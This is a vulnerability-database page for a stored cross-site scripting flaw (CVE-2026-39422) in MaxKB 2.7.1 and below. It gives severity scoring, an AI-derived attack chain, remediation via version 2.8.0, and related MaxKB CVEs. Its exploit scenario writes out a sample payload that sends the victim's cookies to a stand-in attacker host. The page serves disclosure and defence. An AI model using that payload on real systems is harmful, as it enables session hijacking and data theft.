Skip to main content

Maxkb CVE-2026-39422

| EUVDEUVD-2026-22182 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-04-14 GitHub_M
6.9
CVSS 4.0 · Vendor: GitHub_M
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Authenticate as low-privileged user
  2. Delivery
    Create application with malicious JavaScript in name field
  3. Exploit
    Share public chat URL
  4. Install
    Victim visits chat link
  5. C2
    Middleware renders unescaped payload
  6. Execute
    JavaScript executes in victim context
  7. Impact
    Steal session tokens or redirect to phishing

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Impact

CVSS 6.9 (Medium-High) with vector showing network-accessible attack (AV:N), low complexity (AC:L), requiring low privilege (PR:L), and user interaction (UI:P), resulting in high integrity impact (VI:H). The CVSS score reflects realistic constraints: the attacker must be authenticated to create/modify applications, and the victim must click the chat link. However, real-world risk is substantial because: (1) the authentication requirement is likely low-barrier in collaborative environments where many users can create applications, (2) the public chat interface is designed to be shared and visited by users, making victim interaction probable, (3) stored XSS is persistent and affects all visitors indefinitely until remediated, and (4) integrity impact (VI:H) means session hijacking, credential theft, and malware distribution are feasible. No EPSS or KEV data provided; absence of public POC or active exploitation reports does not reduce risk significantly, as stored XSS in admin-accessible endpoints is well-understood and straightforward to exploit. This is a genuine priority for organizations running MaxKB in multi-user environments.

Exploit ScenarioDerived

An attacker with MaxKB user credentials creates a new application, inserting a payload like <img src=x onerror='fetch("https://attacker.com/steal?cookie="+document.cookie)'> into the application name field. When a colleague or customer clicks a public chat link for that application, their browser loads the chat interface, the middleware renders the unescaped application name in the HTML header, and the onerror handler fires, exfiltrating session cookies to the attacker's server. The attacker can then hijack the victim's session and access their data or escalate privileges.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Apr 14, 2026

Stored Cross-Site Scripting (XSS) in MaxKB 2.7.1 and below allows authenticated users to inject malicious JavaScript through application name or icon fields, which is then executed in victims' browsers when accessing the public chat interface. The vulnerability stems from unsanitized data insertion into HTML responses by ChatHeadersMiddleware, enabling arbitrary code execution with user interaction. MaxKB 2.8.0 has released a patch to fix this issue.

RemediationAI

Vendor-released patch: MaxKB 2.8.0. Upgrade immediately to version 2.8.0 or later from https://github.com/1Panel-dev/MaxKB/releases/tag/v2.8.0. For organizations unable to upgrade immediately, implement HTML escaping or Content Security Policy (CSP) headers to mitigate stored XSS risk, though these are temporary measures and patching is mandatory. Audit existing MaxKB instances for applications with suspicious names or icon URLs created by untrusted users and remove or sanitize them. Refer to the vendor security advisory at https://github.com/1Panel-dev/MaxKB/security/advisories/GHSA-wf7p-3jq5-q52w for detailed mitigation guidance.

Affected VersionsENISA

MaxKB < 2.8.0

Affected Packages

euvd maxkb fix: 2.8.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

MaxKB is an open-source AI assistant framework that manages applications with public chat interfaces. The vulnerability exists in the ChatHeadersMiddleware component, which retrieves application metadata (name and icon fields) from storage and directly inserts them into HTML responses via string replacement without HTML escaping or sanitization. This represents a classic CWE-79 (Improper Neutralization of Input During Web Page Generation) issue where user-controlled input from application configuration is rendered as HTML without proper encoding. The attack surface includes the /ui/chat/{access_token} endpoint, a publicly accessible endpoint that dynamically loads application data. An authenticated attacker with application creation privileges can craft payloads containing JavaScript code (e.g., <script> tags, event handlers) in the application name or icon field; when any victim visits the chat interface, their browser executes this injected script in the context of the application domain.

Know when Maxkb gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (GitHub_M) PRIMARY 6.9 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

Primary rating from Vendor (GitHub_M) · only source for this CVE.

CVSS VectorVendor: GitHub_M

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
Passive
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
High
Vulnerable system: Availability
None
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

4
Patch released
Apr 20, 2026 - 17:34 nvd
Patch available
Patch available
Apr 16, 2026 - 05:29 EUVD
2.8.0
CVSS changed
Apr 14, 2026 - 01:22 NVD
6.9 (MEDIUM)
CVE Published
Apr 14, 2026 - 00:22 nvd
MEDIUM 6.9

DescriptionCVE.org

MaxKB is an open-source AI assistant for enterprise. Versions 2.7.1 and below contain a Stored Cross-Site Scripting (XSS) vulnerability through the application name or icon fields when creating an application. When a victim visits the public chat interface (/ui/chat/{access_token}), the ChatHeadersMiddleware retrieves the application data and directly inserts the unescaped application name and icon into the HTML response via string replacement. This allows an attacker to execute arbitrary JavaScript in the victim's browser context. This issue has been fixed in version 2.8.0.

Threat Intelligence Overview

EPSS Score
0.0%
Top 87% exploitable
Social Media
1
Sightings
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

34
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +34
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

Related Vulnerabilities in MaxKB XSS Vulnerabilities

View all 3

More in Maxkb

View all
CVE-2025-48950 HIGH POC
8.8 Jun 03

MaxKB prior to version 1.10.8-lts contains an incomplete sandbox implementation that only blacklists binary execution in

CVE-2026-77521 CRITICAL
10.0 Sep 21

Command injection in MaxKB before 2.10.5-lts allows unauthenticated remote attackers to execute arbitrary shell commands

CVE-2025-66419 CRITICAL
10.0 Dec 11

Sandbox escape and privilege escalation in MaxKB 2.3.1 and earlier allow an attacker who can submit or trigger custom Py

CVE-2026-56779 MEDIUM POC
5.3 Jun 25

Server-side request forgery in MaxKB before 2.10.0 allows any authenticated user holding the default workspace USER role

CVE-2026-79916 CRITICAL
9.1 Sep 21

Authenticated workspace members on MaxKB deployments prior to 2.10.5-lts can escalate to root-level command execution by

CVE-2026-54149 HIGH
8.8 Jul 10

OS command injection in MaxKB (1Panel-dev's open-source enterprise AI assistant) before 2.10.0-lts lets an authenticated

CVE-2025-64511 HIGH
8.8 Nov 13

Server-side request forgery in MaxKB (open-source AI assistant from 1Panel-dev) allows an authenticated user with permis

CVE-2025-66446 HIGH
7.5 Dec 11

Privilege escalation in MaxKB 2.3.1 and earlier allows an authenticated, low-privileged user to overwrite the built-in d

CVE-2026-44847 HIGH
7.5 May 26

Authentication bypass in MaxKB (1Panel-dev) versions prior to 2.9.0 allows remote unauthenticated attackers to invoke we

CVE-2026-77523 HIGH
7.4 Sep 21

Cross-workspace read and modification of model parameter defaults in MaxKB 2.10.3-lts and earlier is possible for an aut

CVE-2026-39420 HIGH
7.4 Apr 14

MaxKB versions 2.7.1 and below allow authenticated users with tool execution privileges to bypass the LD_PRELOAD-based s

CVE-2026-129998 HIGH
7.3 Nov 20

MaxKB releases prior to 2.10.7-lts evaluate attacker-supplied JavaScript stored in a custom tool's Init Param definition

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy